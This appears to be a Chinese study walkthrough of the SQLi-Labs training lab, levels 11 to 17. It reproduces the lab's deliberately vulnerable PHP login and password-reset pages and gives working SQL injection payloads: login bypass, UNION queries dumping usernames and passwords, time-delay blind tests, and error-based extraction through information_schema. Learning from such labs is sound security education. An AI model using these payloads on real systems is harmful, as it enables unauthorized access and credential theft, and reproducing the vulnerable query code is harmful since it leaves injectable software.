SQLi-Labs 学习笔记(Less 11-20)

点击打开链接

Less-11 基于错误的POST型单引号字符型注入


先打开网页查看 Welcome Dhakkan


②查看源代码:
[php]  view plain  copy
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <html xmlns="http://www.w3.org/1999/xhtml">  
  3. <head>  
  4.     <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
  5.     <title>Less-11- Error Based- String</title>  
  6. </head>  
  7.   
  8. <body bgcolor="#000000">  
  9. <div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"> Welcome  <font color="#FF0000"> Dhakkan </font><br></div>  
  10.   
  11. <div  align="center" style="margin:40px 0px 0px 520px;border:20px; background-color:#0CF; text-align:center; width:400px; height:150px;">  
  12.   
  13. <div style="padding-top:10px; font-size:15px;">  
  14.    
  15.   
  16. <!--Form to post the data for sql injections Error based SQL Injection-->  
  17. <form action="" name="form1" method="post">  
  18.     <div style="margin-top:15px; height:30px;">Username :      
  19.         <input type="text"  name="uname" value=""/>  
  20.     </div>    
  21.     <div> Password  :      
  22.         <input type="text" name="passwd" value=""/>  
  23.     </div></br>  
  24.     <div style=" margin-top:9px;margin-left:90px;">  
  25.         <input type="submit" name="submit" value="Submit" />  
  26.     </div>  
  27. </form>  
  28.   
  29. </div></div>  
  30.   
  31. <div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">  
  32. <font size="6" color="#FFFF00">  
  33.   
  34.   
  35.   
  36.   
  37.   
  38. <?php  
  39. //including the Mysql connect parameters.  
  40. include("../sql-connections/sql-connect.php");  
  41. error_reporting(0);  
  42.   
  43. // take the variables  
  44. if(isset($_POST['uname']) && isset($_POST['passwd']))  
  45. {  
  46.     $uname=$_POST['uname'];  
  47.     $passwd=$_POST['passwd'];  
  48.   
  49.     //logging the connection parameters to a file for analysis.  
  50.     $fp=fopen('result.txt','a');  
  51.     fwrite($fp,'User Name:'.$uname);  
  52.     fwrite($fp,'Password:'.$passwd."\n");  
  53.     fclose($fp);  
  54.   
  55.   
  56.     // connectivity   
  57.     @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";  
  58.     $result=mysql_query($sql);  
  59.     $row = mysql_fetch_array($result);  
  60.   
  61.     if($row)  
  62.     {  
  63.         //echo '<font color= "#0000ff">';   
  64.           
  65.         echo "<br>";  
  66.         echo '<font color= "#FFFF00" font size = 4>';  
  67.         //echo " You Have successfully logged in\n\n " ;  
  68.         echo '<font size="3" color="#0000ff">';     
  69.         echo "<br>";  
  70.         echo 'Your Login name:'$row['username'];  
  71.         echo "<br>";  
  72.         echo 'Your Password:' .$row['password'];  
  73.         echo "<br>";  
  74.         echo "</font>";  
  75.         echo "<br>";  
  76.         echo "<br>";  
  77.         echo '<img src="../images/flag.jpg"  />';   
  78.           
  79.         echo "</font>";  
  80.     }  
  81.     else    
  82.     {  
  83.         echo '<font color= "#0000ff" font size="3">';  
  84.         //echo "Try again looser";  
  85.         print_r(mysql_error());  
  86.         echo "</br>";  
  87.         echo "</br>";  
  88.         echo "</br>";  
  89.         echo '<img src="../images/slap.jpg" />';    
  90.         echo "</font>";    
  91.     }  
  92. }  
  93.   
  94. ?>  
  95.   
  96.   
  97. </font>  
  98. </div>  
  99. </body>  
  100. </html>  

我们来看一下这次是什么类型的提交,以及提交的字段是什么,打开网络查看器查看

答案是POST提交,提交的字段是uname和passwd,那么我们加一个单引号让它报错:

我们把 整个被单引号引着的复制下来,把左端和右端的单引号去掉,就变成下面的:
[plain]  view plain  copy
  1. test' LIMIT 0,1  

那么可以判断是单引号注入类型了,接下来构建 POST 提交
[plain]  view plain  copy
  1. uname=user' or 1=1 #&passwd=user'  

拿到用户名和密码了,登陆一下,成功登陆,当然除了用注释还可以闭合单引号,当这里有个问题探讨,看下图

没有显示出来?我们看下 Sql 语句是什么样的:
[plain]  view plain  copy
  1. SELECT username,password From users WHERE username='user' or '1'='1' and password='user' LIMIT 0,1  

首先and的优先级高于or  【就是and先运算】,那么    '1'='1' and password='user' 先运算,因为users表里面的password字段没有一个数据是user,右边是false,那么整个表达式就是false,那么语句就变成:
[plain]  view plain  copy
  1. SELECT username, password FROM users WHERE username='user' or false  

所以我们要怎么办呢,uname这里不行,我们尝试passwd,发现是可以的

对应的SQL语句是:
[plain]  view plain  copy
  1. SELECT username,password FROM users WHERE username='user' and password='user' or '1'='1' LIMIT 0,1  

左边是FALSE,or 右边是true,当然就绕过了,一般第一个登陆字段(一般是用户名)就用注释,第二个登陆字段(一般就密码)用闭合和注释都是可以的。

接下类我们就可以使用 联合查询来看下数据库的信息:

构建如下 POST字段:
[plain]  view plain  copy
  1. uname=user&passwd=user' union select group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users#  

当然,想用盲注也可以,就是要写脚本
[plain]  view plain  copy
  1. uname=user&passwd=user' or length(database())=8#  




Less-12 基于错误的双引号POST型字符型变形的注入

先打开网页查看 Welcome Dhakkan


②查看源代码:
[plain]  view plain  copy
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <html xmlns="http://www.w3.org/1999/xhtml">  
  3. <head>  
  4.     <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
  5.     <title>Less-12- Error Based- Double quotes- String</title>  
  6. </head>  
  7.   
  8. <body bgcolor="#000000">  
  9. <div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"> Welcome  <font color="#FF0000"> Dhakkan </font><br></div>  
  10.   
  11. <div  align="center" style="margin:40px 0px 0px 520px;border:20px; background-color:#0CF; text-align:center; width:400px; height:150px;">  
  12.   
  13. <div style="padding-top:10px; font-size:15px;">  
  14.    
  15.   
  16. <!--Form to post the data for sql injections Error based SQL Injection-->  
  17. <form action="" name="form1" method="post">  
  18.     <div style="margin-top:15px; height:30px;">Username :      
  19.         <input type="text"  name="uname" value=""/>  
  20.     </div>    
  21.     <div> Password  :      
  22.         <input type="text" name="passwd" value=""/>  
  23.     </div></br>  
  24.     <div style=" margin-top:9px;margin-left:90px;">  
  25.         <input type="submit" name="submit" value="Submit" />  
  26.     </div>  
  27. </form>  
  28.   
  29. </div></div>  
  30.   
  31. <div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">  
  32. <font size="6" color="#FFFF00">  
  33.   
  34.   
  35.   
  36.   
  37.   
  38. <?php  
  39. //including the Mysql connect parameters.  
  40. include("../sql-connections/sql-connect.php");  
  41. error_reporting(0);  
  42.   
  43. // take the variables  
  44. if(isset($_POST['uname']) && isset($_POST['passwd']))  
  45. {  
  46.     $uname=$_POST['uname'];  
  47.     $passwd=$_POST['passwd'];  
  48.   
  49.     //logging the connection parameters to a file for analysis.  
  50.     $fp=fopen('result.txt','a');  
  51.     fwrite($fp,'User Name:'.$uname."\n");  
  52.     fwrite($fp,'Password:'.$passwd."\n");  
  53.     fclose($fp);  
  54.   
  55.   
  56.     // connectivity  
  57.     $uname='"'.$uname.'"';  
  58.     $passwd='"'.$passwd.'"';   
  59.     @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";  
  60.     $result=mysql_query($sql);  
  61.     $row = mysql_fetch_array($result);  
  62.   
  63.     if($row)  
  64.     {  
  65.         //echo '<font color= "#0000ff">';   
  66.           
  67.         echo "<br>";  
  68.         echo '<font color= "#FFFF00" font size = 4>';  
  69.         //echo " You Have successfully logged in " ;  
  70.         echo '<font size="3" color="#0000ff">';     
  71.         echo "<br>";  
  72.         echo 'Your Login name:'. $row['username'];  
  73.         echo "<br>";  
  74.         echo 'Your Password:' .$row['password'];  
  75.         echo "<br>";  
  76.         echo "</font>";  
  77.         echo "<br>";  
  78.         echo "<br>";  
  79.         echo '<img src="../images/flag.jpg"   />';      
  80.           
  81.         echo "</font>";  
  82.     }  
  83.     else    
  84.     {  
  85.         echo '<font color= "#0000ff" font size="3">';  
  86.         //echo "Try again looser";  
  87.         print_r(mysql_error());  
  88.         echo "</br>";  
  89.         echo "</br>";  
  90.         echo "</br>";  
  91.         echo '<img src="../images/slap.jpg"   />';      
  92.         echo "</font>";    
  93.     }  
  94. }  
  95.   
  96. ?>  
  97.   
  98.   
  99. </font>  
  100. </div>  
  101. </body>  
  102. </html>  

先用什么单引号双引号看看,报错就看出它有没有用引号,或者加了其他东西

那么这里明显看出用)将变量括着,那么直接绕过,构建 POST 字段:
[plain]  view plain  copy
  1. uname=abc&passwd=abc") or 1=1#  


Less-13POST单引号变形双注入

先打开网页查看 Welcome Dhakkan


②查看源代码:
[plain]  view plain  copy
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <html xmlns="http://www.w3.org/1999/xhtml">  
  3. <head>  
  4.     <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
  5.     <title>Less-13- Double Injection- String- with twist</title>  
  6. </head>  
  7.   
  8. <body bgcolor="#000000">  
  9. <div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"> Welcome  <font color="#FF0000"> Dhakkan </font><br></div>  
  10.   
  11. <div  align="center" style="margin:40px 0px 0px 520px;border:20px; background-color:#0CF; text-align:center; width:400px; height:150px;">  
  12.   
  13. <div style="padding-top:10px; font-size:15px;">  
  14.    
  15.   
  16. <!--Form to post the data for sql injections Error based SQL Injection-->  
  17. <form action="" name="form1" method="post">  
  18.     <div style="margin-top:15px; height:30px;">Username :      
  19.         <input type="text"  name="uname" value=""/>  
  20.     </div>    
  21.     <div> Password  :      
  22.         <input type="text" name="passwd" value=""/>  
  23.     </div></br>  
  24.     <div style=" margin-top:9px;margin-left:90px;">  
  25.         <input type="submit" name="submit" value="Submit" />  
  26.     </div>  
  27. </form>  
  28.   
  29. </div></div>  
  30.   
  31. <div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">  
  32. <font size="6" color="#FFFF00">  
  33.   
  34.   
  35.   
  36.   
  37.   
  38. <?php  
  39. //including the Mysql connect parameters.  
  40. include("../sql-connections/sql-connect.php");  
  41. error_reporting(0);  
  42.   
  43. // take the variables  
  44. if(isset($_POST['uname']) && isset($_POST['passwd']))  
  45. {  
  46.     $uname=$_POST['uname'];  
  47.     $passwd=$_POST['passwd'];  
  48.   
  49.     //logging the connection parameters to a file for analysis.  
  50.     $fp=fopen('result.txt','a');  
  51.     fwrite($fp,'User Name:'.$uname."\n");  
  52.     fwrite($fp,'Password:'.$passwd."\n");  
  53.     fclose($fp);  
  54.   
  55.   
  56.     // connectivity   
  57.     @$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";  
  58.     $result=mysql_query($sql);  
  59.     $row = mysql_fetch_array($result);  
  60.   
  61.     if($row)  
  62.     {  
  63.         //echo '<font color= "#0000ff">';   
  64.           
  65.         echo "<br>";  
  66.         echo '<font color= "#FFFF00" font size = 4>';  
  67.         //echo " You Have successfully logged in " ;  
  68.         echo '<font size="3" color="#0000ff">';     
  69.         echo "<br>";  
  70.         //echo 'Your Login name:'. $row['username'];  
  71.         //echo "<br>";  
  72.         //echo 'Your Password:' .$row['password'];  
  73.         //echo "<br>";  
  74.         echo "</font>";  
  75.         echo "<br>";  
  76.         echo "<br>";  
  77.         echo '<img src="../images/flag.jpg"   />';      
  78.           
  79.         echo "</font>";  
  80.     }  
  81.     else    
  82.     {  
  83.         echo '<font color= "#0000ff" font size="3">';  
  84.         //echo "Try again looser";  
  85.         print_r(mysql_error());  
  86.         echo "</br>";  
  87.         echo "</br>";  
  88.         echo "</br>";  
  89.         echo '<img src="../images/slap.jpg"   />';      
  90.         echo "</font>";    
  91.     }  
  92. }  
  93.   
  94. ?>  
  95.   
  96.   
  97. </font>  
  98. </div>  
  99. </body>  
  100. </html>  

没多少区别,之前也讲过了,根据判断可以得知是 (' $id ') 类型的,那么


Less-14POST单引号变形双注入

先打开网页查看 Welcome Dhakkan


②查看源代码:
[plain]  view plain  copy
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <html xmlns="http://www.w3.org/1999/xhtml">  
  3. <head>  
  4.     <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
  5.     <title>Less-14- Double Injection- Double quotes- String</title>  
  6. </head>  
  7.   
  8. <body bgcolor="#000000">  
  9. <div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"> Welcome  <font color="#FF0000"> Dhakkan </font><br></div>  
  10.   
  11. <div  align="center" style="margin:40px 0px 0px 520px;border:20px; background-color:#0CF; text-align:center; width:400px; height:150px;">  
  12.   
  13. <div style="padding-top:10px; font-size:15px;">  
  14.    
  15.   
  16. <!--Form to post the data for sql injections Error based SQL Injection-->  
  17. <form action="" name="form1" method="post">  
  18.     <div style="margin-top:15px; height:30px;">Username :      
  19.         <input type="text"  name="uname" value=""/>  
  20.     </div>    
  21.     <div> Password  :      
  22.         <input type="text" name="passwd" value=""/>  
  23.     </div></br>  
  24.     <div style=" margin-top:9px;margin-left:90px;">  
  25.         <input type="submit" name="submit" value="Submit" />  
  26.     </div>  
  27. </form>  
  28.   
  29. </div></div>  
  30.   
  31. <div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">  
  32. <font size="6" color="#FFFF00">  
  33.   
  34.   
  35.   
  36.   
  37.   
  38. <?php  
  39. //including the Mysql connect parameters.  
  40. include("../sql-connections/sql-connect.php");  
  41. error_reporting(0);  
  42.   
  43. // take the variables  
  44. if(isset($_POST['uname']) && isset($_POST['passwd']))  
  45. {  
  46.     $uname=$_POST['uname'];  
  47.     $passwd=$_POST['passwd'];  
  48.   
  49.     //logging the connection parameters to a file for analysis.  
  50.     $fp=fopen('result.txt','a');  
  51.     fwrite($fp,'User Name:'.$uname."\n");  
  52.     fwrite($fp,'Password:'.$passwd."\n");  
  53.     fclose($fp);  
  54.   
  55.   
  56.     // connectivity  
  57.     $uname='"'.$uname.'"';  
  58.     $passwd='"'.$passwd.'"';   
  59.     @$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";  
  60.     $result=mysql_query($sql);  
  61.     $row = mysql_fetch_array($result);  
  62.   
  63.     if($row)  
  64.     {  
  65.         //echo '<font color= "#0000ff">';   
  66.           
  67.         echo "<br>";  
  68.         echo '<font color= "#FFFF00" font size = 4>';  
  69.         //echo " You Have successfully logged in " ;  
  70.         echo '<font size="3" color="#0000ff">';     
  71.         echo "<br>";  
  72.         //echo 'Your Login name:'. $row['username'];  
  73.         //echo "<br>";  
  74.         //echo 'Your Password:' .$row['password'];  
  75.         //echo "<br>";  
  76.         echo "</font>";  
  77.         echo "<br>";  
  78.         echo "<br>";  
  79.         echo '<img src="../images/flag.jpg" />';    
  80.           
  81.         echo "</font>";  
  82.     }  
  83.     else    
  84.     {  
  85.         echo '<font color= "#0000ff" font size="3">';  
  86.         //echo "Try again looser";  
  87.         print_r(mysql_error());  
  88.         echo "</br>";  
  89.         echo "</br>";  
  90.         echo "</br>";  
  91.         echo '<img src="../images/slap.jpg"  />';   
  92.         echo "</font>";    
  93.     }  
  94. }  
  95.   
  96. ?>  
  97.   
  98.   
  99. </font>  
  100. </div>  
  101. </body>  
  102. </html>  

单引号没报错,双引号就报错了,然后就不说了,都懂



Less-15基于bool型/时间延迟单引号POST型盲注

先打开网页查看 Welcome Dhakkan


②查看源代码:
[plain]  view plain  copy
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <html xmlns="http://www.w3.org/1999/xhtml">  
  3. <head>  
  4.     <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
  5.     <title>Less-15- Blind- Boolian Based- String</title>  
  6. </head>  
  7.   
  8. <body bgcolor="#000000">  
  9. <div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"> Welcome  <font color="#FF0000"> Dhakkan </font><br></div>  
  10.   
  11. <div  align="center" style="margin:40px 0px 0px 520px;border:20px; background-color:#0CF; text-align:center; width:400px; height:150px;">  
  12.   
  13. <div style="padding-top:10px; font-size:15px;">  
  14.    
  15.   
  16. <!--Form to post the data for sql injections Error based SQL Injection-->  
  17. <form action="" name="form1" method="post">  
  18.     <div style="margin-top:15px; height:30px;">Username :      
  19.         <input type="text"  name="uname" value=""/>  
  20.     </div>    
  21.     <div> Password  :      
  22.         <input type="text" name="passwd" value=""/>  
  23.     </div></br>  
  24.     <div style=" margin-top:9px;margin-left:90px;">  
  25.         <input type="submit" name="submit" value="Submit" />  
  26.     </div>  
  27. </form>  
  28.   
  29. </div></div>  
  30.   
  31. <div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">  
  32. <font size="6" color="#FFFF00">  
  33.   
  34.   
  35.   
  36.   
  37.   
  38. <?php  
  39. //including the Mysql connect parameters.  
  40. include("../sql-connections/sql-connect.php");  
  41. error_reporting(0);  
  42.   
  43. // take the variables  
  44. if(isset($_POST['uname']) && isset($_POST['passwd']))  
  45. {  
  46.     $uname=$_POST['uname'];  
  47.     $passwd=$_POST['passwd'];  
  48.   
  49.     //logging the connection parameters to a file for analysis.  
  50.     $fp=fopen('result.txt','a');  
  51.     fwrite($fp,'User Name:'.$uname);  
  52.     fwrite($fp,'Password:'.$passwd."\n");  
  53.     fclose($fp);  
  54.   
  55.   
  56.     // connectivity   
  57.     @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";  
  58.     $result=mysql_query($sql);  
  59.     $row = mysql_fetch_array($result);  
  60.   
  61.     if($row)  
  62.     {  
  63.         //echo '<font color= "#0000ff">';   
  64.           
  65.         echo "<br>";  
  66.         echo '<font color= "#FFFF00" font size = 4>';  
  67.         //echo " You Have successfully logged in\n\n " ;  
  68.         echo '<font size="3" color="#0000ff">';     
  69.         echo "<br>";  
  70.         //echo 'Your Login name:'. $row['username'];  
  71.         echo "<br>";  
  72.         //echo 'Your Password:' .$row['password'];  
  73.         echo "<br>";  
  74.         echo "</font>";  
  75.         echo "<br>";  
  76.         echo "<br>";  
  77.         echo '<img src="../images/flag.jpg"  />';   
  78.           
  79.         echo "</font>";  
  80.     }  
  81.     else    
  82.     {  
  83.         echo '<font color= "#0000ff" font size="3">';  
  84.         //echo "Try again looser";  
  85.         //print_r(mysql_error());  
  86.         echo "</br>";  
  87.         echo "</br>";  
  88.         echo "</br>";  
  89.         echo '<img src="../images/slap.jpg"   />';      
  90.         echo "</font>";    
  91.     }  
  92. }  
  93.   
  94. ?>  
  95.   
  96.   
  97. </font>  
  98. </div>  
  99. </body>  
  100. </html>  

这里输入单引号,双引号就不会报错了,用时间延迟函数了,先确定是单引号盲注:

ok,没错。


Less-16基于bool型/时间延迟的双引号POST型盲注

先打开网页查看 Welcome Dhakkan

②查看源代码:
[plain]  view plain  copy
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <html xmlns="http://www.w3.org/1999/xhtml">  
  3. <head>  
  4.     <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
  5.     <title>Less-16- Blind- Time Based- Double quotes- String</title>  
  6. </head>  
  7.   
  8. <body bgcolor="#000000">  
  9. <div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"> Welcome  <font color="#FF0000"> Dhakkan </font><br></div>  
  10.   
  11. <div  align="center" style="margin:40px 0px 0px 520px;border:20px; background-color:#0CF; text-align:center; width:400px; height:150px;">  
  12.   
  13. <div style="padding-top:10px; font-size:15px;">  
  14.    
  15.   
  16. <!--Form to post the data for sql injections Error based SQL Injection-->  
  17. <form action="" name="form1" method="post">  
  18.     <div style="margin-top:15px; height:30px;">Username :      
  19.         <input type="text"  name="uname" value=""/>  
  20.     </div>    
  21.     <div> Password  :      
  22.         <input type="text" name="passwd" value=""/>  
  23.     </div></br>  
  24.     <div style=" margin-top:9px;margin-left:90px;">  
  25.         <input type="submit" name="submit" value="Submit" />  
  26.     </div>  
  27. </form>  
  28.   
  29. </div></div>  
  30.   
  31. <div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">  
  32. <font size="6" color="#FFFF00">  
  33.   
  34.   
  35.   
  36.   
  37.   
  38. <?php  
  39. //including the Mysql connect parameters.  
  40. include("../sql-connections/sql-connect.php");  
  41. error_reporting(0);  
  42.   
  43. // take the variables  
  44. if(isset($_POST['uname']) && isset($_POST['passwd']))  
  45. {  
  46.     $uname=$_POST['uname'];  
  47.     $passwd=$_POST['passwd'];  
  48.   
  49.     //logging the connection parameters to a file for analysis.  
  50.     $fp=fopen('result.txt','a');  
  51.     fwrite($fp,'User Name:'.$uname."\n");  
  52.     fwrite($fp,'Password:'.$passwd."\n");  
  53.     fclose($fp);  
  54.   
  55.   
  56.     // connectivity  
  57.     $uname='"'.$uname.'"';  
  58.     $passwd='"'.$passwd.'"';   
  59.     @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";  
  60.     $result=mysql_query($sql);  
  61.     $row = mysql_fetch_array($result);  
  62.   
  63.     if($row)  
  64.     {  
  65.         //echo '<font color= "#0000ff">';   
  66.           
  67.         echo "<br>";  
  68.         echo '<font color= "#FFFF00" font size = 4>';  
  69.         //echo " You Have successfully logged in " ;  
  70.         echo '<font size="3" color="#0000ff">';     
  71.         echo "<br>";  
  72.         //echo 'Your Login name:'. $row['username'];  
  73.         echo "<br>";  
  74.         //echo 'Your Password:' .$row['password'];  
  75.         echo "<br>";  
  76.         echo "</font>";  
  77.         echo "<br>";  
  78.         echo "<br>";  
  79.         echo '<img src="../images/flag.jpg"  />';   
  80.           
  81.         echo "</font>";  
  82.     }  
  83.     else    
  84.     {  
  85.         echo '<font color= "#0000ff" font size="3">';  
  86.         echo "</br>";  
  87.         echo "</br>";  
  88.         //echo "Try again looser";  
  89.         //print_r(mysql_error());  
  90.         echo "</br>";  
  91.         echo "</br>";  
  92.         echo "</br>";  
  93.         echo '<img src="../images/slap.jpg"  />';   
  94.         echo "</font>";    
  95.     }  
  96. }  
  97.   
  98. ?>  
  99.   
  100.   
  101. </font>  
  102. </div>  
  103. </body>  
  104. </html>  

uname=a&passwd=a") or 1=1# ,判断为双引号变形,测试:
uname=a&passwd=a")  or if(length(database())=7,1,sleep(5)) #
uname=a&passwd=a")  or if(length(database())=8,1,sleep(5)) #



Less-17基于错误的更新查询POST注入

先打开网页查看 Welcome Dhakkan


②查看源代码:
[plain]  view plain  copy
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <html xmlns="http://www.w3.org/1999/xhtml">  
  3. <head>  
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
  5. <title>Less-17 Update Query- Error based - String</title>  
  6. </head>  
  7.   
  8. <body bgcolor="#000000">  
  9.   
  10. <div style=" margin-top:20px;color:#FFF; font-size:24px; text-align:center"><font color="#FFFF00"> [PASSWORD RESET] </br></font>  <font color="#FF0000"> Dhakkan </font><br></div>  
  11.   
  12. <div  align="center" style="margin:20px 0px 0px 520px;border:20px; background-color:#0CF; text-align:center; width:400px; height:150px;">  
  13.   
  14. <div style="padding-top:10px; font-size:15px;">  
  15.    
  16.   
  17. <!--Form to post the contents -->  
  18. <form action="" name="form1" method="post">  
  19.   
  20.   <div style="margin-top:15px; height:30px;">User Name      :       
  21.     <input type="text"  name="uname" value=""/>  </div>  
  22.     
  23.   <div> New Password :      
  24.     <input type="text" name="passwd" value=""/></div></br>  
  25.     <div style=" margin-top:9px;margin-left:90px;"><input type="submit" name="submit" value="Submit" /></div>  
  26. </form>  
  27. </div>  
  28. </div>  
  29. <div style=" margin-top:10px;color:#FFF; font-size:23px; text-align:center">  
  30. <font size="6" color="#FFFF00">  
  31.   
  32.   
  33.   
  34. <?php  
  35. //including the Mysql connect parameters.  
  36. include("../sql-connections/sql-connect.php");  
  37. error_reporting(0);  
  38.   
  39. function check_input($value)  
  40.     {  
  41.     if(!empty($value))  
  42.         {  
  43.         // truncation (see comments)  
  44.         $value = substr($value,0,15);  
  45.         }  
  46.   
  47.         // Stripslashes if magic quotes enabled  
  48.         if (get_magic_quotes_gpc())  
  49.             {  
  50.             $value = stripslashes($value);  
  51.             }  
  52.   
  53.         // Quote if not a number  
  54.         if (!ctype_digit($value))  
  55.             {  
  56.             $value = "'" . mysql_real_escape_string($value) . "'";  
  57.             }  
  58.           
  59.     else  
  60.         {  
  61.         $value = intval($value);  
  62.         }  
  63.     return $value;  
  64.     }  
  65.   
  66. // take the variables  
  67. if(isset($_POST['uname']) && isset($_POST['passwd']))  
  68.   
  69. {  
  70. //making sure uname is not injectable  
  71. $uname=check_input($_POST['uname']);    
  72.   
  73. $passwd=$_POST['passwd'];  
  74.   
  75.   
  76. //logging the connection parameters to a file for analysis.  
  77. $fp=fopen('result.txt','a');  
  78. fwrite($fp,'User Name:'.$uname."\n");  
  79. fwrite($fp,'New Password:'.$passwd."\n");  
  80. fclose($fp);  
  81.   
  82.   
  83. // connectivity   
  84. @$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";  
  85.   
  86. $result=mysql_query($sql);  
  87. $row = mysql_fetch_array($result);  
  88. //echo $row;  
  89.     if($row)  
  90.     {  
  91.         //echo '<font color= "#0000ff">';   
  92.         $row1 = $row['username'];     
  93.         //echo 'Your Login name:'. $row1;  
  94.         $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";  
  95.         mysql_query($update);  
  96.         echo "<br>";  
  97.       
  98.       
  99.       
  100.         if (mysql_error())  
  101.         {  
  102.             echo '<font color= "#FFFF00" font size = 3 >';  
  103.             print_r(mysql_error());  
  104.             echo "</br></br>";  
  105.             echo "</font>";  
  106.         }  
  107.         else  
  108.         {  
  109.             echo '<font color= "#FFFF00" font size = 3 >';  
  110.             //echo " You password has been successfully updated " ;       
  111.             echo "<br>";  
  112.             echo "</font>";  
  113.         }  
  114.       
  115.         echo '<img src="../images/flag1.jpg"   />';     
  116.         //echo 'Your Password:' .$row['password'];  
  117.         echo "</font>";  
  118.       
  119.   
  120.   
  121.     }  
  122.     else    
  123.     {  
  124.         echo '<font size="4.5" color="#FFFF00">';  
  125.         //echo "Bug off you Silly Dumb hacker";  
  126.         echo "</br>";  
  127.         echo '<img src="../images/slap1.jpg"   />';  
  128.       
  129.         echo "</font>";    
  130.     }  
  131. }  
  132.   
  133. ?>  
  134.   
  135.   
  136. </font>  
  137. </div>  
  138. </body>  
  139. </html>  


来分析一下代码,他的大概执行过程是接收到username和password后,首先根据username的值查询数据库返回username和password,然后再将原有的password值用接收到的值替换掉,这里有一个问题是,username在接收时用了一个自定义的过滤函数check_input(),这个函数首先做了判空处理,合法就截取username的前15个字符,然后是通过get_magic_quotes_gpc()的返回值判断magic_quotes_gpc的值是on还是off:

magic_quotes_gpc=on时, 不用对输入和输出数据库的字符串数据作addslashes()和stripslashes()的操作,数据也会正常显示。如果此时对输入的数据作了addslashes()处理,那么在输出的时候就必须使用stripslashes()去掉多余的反斜杠。

magic_quotes_gpc=off 时,必须使用addslashes()对输入数据进行处理,但并不需要使用stripslashes()格式化输出,因为addslashes()并未将反斜杠一起写入数据库,只是帮助mysql完成了sql语句的执行。

最后,他用了ctype_digit()判断username值的类型是否是数字,是字符就用mysql_real_escape_string对特殊字符进行转义

显然,username这里并不好注入,只有通过弱口令爆破,像是admin之类的,但是他对password的接收没有做过滤的处理,于是我们可以在这里动手脚
[plain]  view plain  copy
  1. $uname=check_input($_POST['uname']);    
  2. $passwd=$_POST['passwd'];  

对于update的注入有几种思路,我们将他连同insert和delete一起来总结一下:

1、子查询注入

子查询注入原理即双注入,对于dateup、delete和insert通常都是结合or的逻辑判断,本题为例我们对update可以构造如下语句

获取数据库名:
[plain]  view plain  copy
  1. uname=admin&passwd=' or (select 1 from(select count(*),concat((select concat(0x7e,0x27,database(),0x27,0x7e)),floor(rand()*2))x from information_schema.tables group by x)a) where username='admin'%23  

获取表名:
[plain]  view plain  copy
  1. uname=admin&passwd=' or (select 1 from(select count(*),concat((select group_concat(0x7e,0x27,table_name,0x27,0x7e) from information_schema.tables where table_schema='security'),floor(rand()*2))x from information_schema.tables group by x)a) where username='admin'%23  

获取字段名:
[plain]  view plain  copy
  1. uname=admin&passwd=' or (select 1 from(select count(*),concat((select group_concat(0x7e,0x27,column_name,0x27,0x7e) from information_schema.columns where table_schema='security' and table_name='users'),floor(rand()*2))x from information_schema.tables group by x)a) where username='admin'%23  

获取用户信息,这里不知道为什么执行不成功:
[plain]  view plain  copy
  1. uname=admin&passwd=' or (select 1 from(select count(*),concat((select concat(0x27,id,0x7e,username,0x7e,password,0x27) from users limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) where username='admin'%23  

如果有哪位朋友知道怎么解决,麻烦在下面评论区提出解决方法,有可能是我mysql版本的问题吧。


2、通过name_const():
name_const( name , value ):返回给定值,当用来产生一个结果集合列时, name_ const ()促使该列使用给定名称,
但他的使用范围受限,只适用于一些数据库版本高于5.0.12,但又稍旧的版本,像现在的5.7版本就不用想了...然而我用的就是较新的版本,注入只能显示数据库的版本信息,想要查询其他的信息,会显示Incorrect arguments to NAME_CONST,所以,这里我就不截图了,直接放payload:
[plain]  view plain  copy
  1. uname=admin&passwd=1' or (select * from (select(name_const(database(),1)),name_const(database(),1))a) where username='admin'%23  
